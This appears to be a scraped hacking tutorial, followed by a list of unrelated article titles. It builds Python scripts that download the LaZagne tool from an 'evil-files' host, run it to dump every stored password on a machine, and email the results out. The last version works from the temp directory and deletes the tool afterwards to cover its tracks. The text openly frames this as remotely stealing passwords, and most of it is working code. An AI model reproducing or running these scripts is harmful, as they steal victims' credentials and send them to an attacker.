DOWNLOAD_FILE

  • Download files on a system.
  • Once packaged properly will work on all operating systems.
  • Simple but powerfull.

Can be used in many situations:

  • download _file + execute_command = download_and_execute
  • download_file + execute_and_report = download_execute_and_report
  • ...etc
#!/usr/bin/env python
import requests def download(url):
get_response = requests.get(url)
file_name = url.split("/")[-1]
with open(file_name, "wb") as out_file:
out_file.write(get_response.content) download("https://cdn.spacetelescope.org/archives/images/screen/potw1739a.jpg")

DOWNLOAD_EXECUTE_AND_REPORT

  • Download files on a system.
  • Execute a command that uses this file.
  • Report results in our email.
  • Cross multi-Platform!!

Ex: remotely steal all stored passwords on a computer!

Using the LaZagne tool:https://github.com/AlessandroZ/LaZagne

lazagne.exe --help

Use the following command to find all the passwords in the current system.

 lazagne.exe all

Steal saved passwords remotely

#!/usr/bin/env python
import requests
import smtplib
import subprocess def download(url):
get_response = requests.get(url)
file_name = url.split("/")[-1]
with open(file_name, "wb") as out_file:
out_file.write(get_response.content) def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit() download("http://10.0.0.43/evil-files/lazagne.exe")
result = subprocess.check_output("lazagne.exe all", shell=True)
print(result.decode())
send_mail("aaaa@gmail.com", "", result)

Optimize the Python Script - Interacting with the file system. The evil file will be downloaded in the temp directory and removed after executed.

#!/usr/bin/env python
import os
import smtplib
import subprocess
import requests
import tempfile def download(url):
get_response = requests.get(url)
file_name = url.split("/")[-1]
with open(file_name, "wb") as out_file:
out_file.write(get_response.content) def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit() temp_directory = tempfile.gettempdir()
os.chdir(temp_directory)
download("http://10.0.0.43/evil-files/lazagne.exe")
result = subprocess.check_output("lazagne.exe all", shell=True)
print(result.decode())
send_mail("aaaa@gmail.com", "", result)
os.remove("lazagne.exe")

最新文章

  1. Java列表
  2. LintCode Sort Colors
  3. C#生成随机字符串(数字,字母,特殊符号)
  4. V8 data struct
  5. ZooKeeper 笔记(2) 监听数据变化
  6. OC中NSDictionary(字典)、NSMutableDictionary(可变字典)、NSSet(集合)、NSMutableSet(可变集合)得常用方法
  7. phpexcel来做表格导出(多个工作sheet)
  8. hnsd11348tree(并查集)
  9. GO逆转字符串
  10. (原)Ubuntu16中卸载并重新安装google的Protocol Buffers
  11. zip文件压缩(转)
  12. C#文件流写入方法
  13. win10下配置php环境变量
  14. BZOJ_4873_[Shoi2017]寿司餐厅_最大权闭合子图
  15. [rhel]安装oracle11g
  16. 《Java编程思想》读书笔记-基本规范、注释、static关键字、import关键字
  17. C# DGVPrinter.cs 打印方法
  18. spark之 spark 2.2.0 Standalone安装、wordCount演示
  19. 实用的IOS应用程序框架
  20. SQL获取当前日期的年、月、日、时、分、秒数据

热门文章

  1. TopK问题,数组中第K大(小)个元素问题总结
  2. 键盘侠Linux教程(五)| 基本权限管理
  3. JAVA相关基础知识
  4. SpringBoot -- 项目结构+启动流程
  5. 弹性配置为构建提速 - CODING & 腾讯云 CVM 最佳实践
  6. ⚡ vue3 全家桶体验
  7. Spring Bean各阶段生命周期的介绍
  8. python实现从文件夹随机拷贝出指定数量文件到目标文件夹
  9. .NET Core加解密实战系列之——消息摘要与数字签名算法
  10. C#由转换二进制所引起的思考,了解下?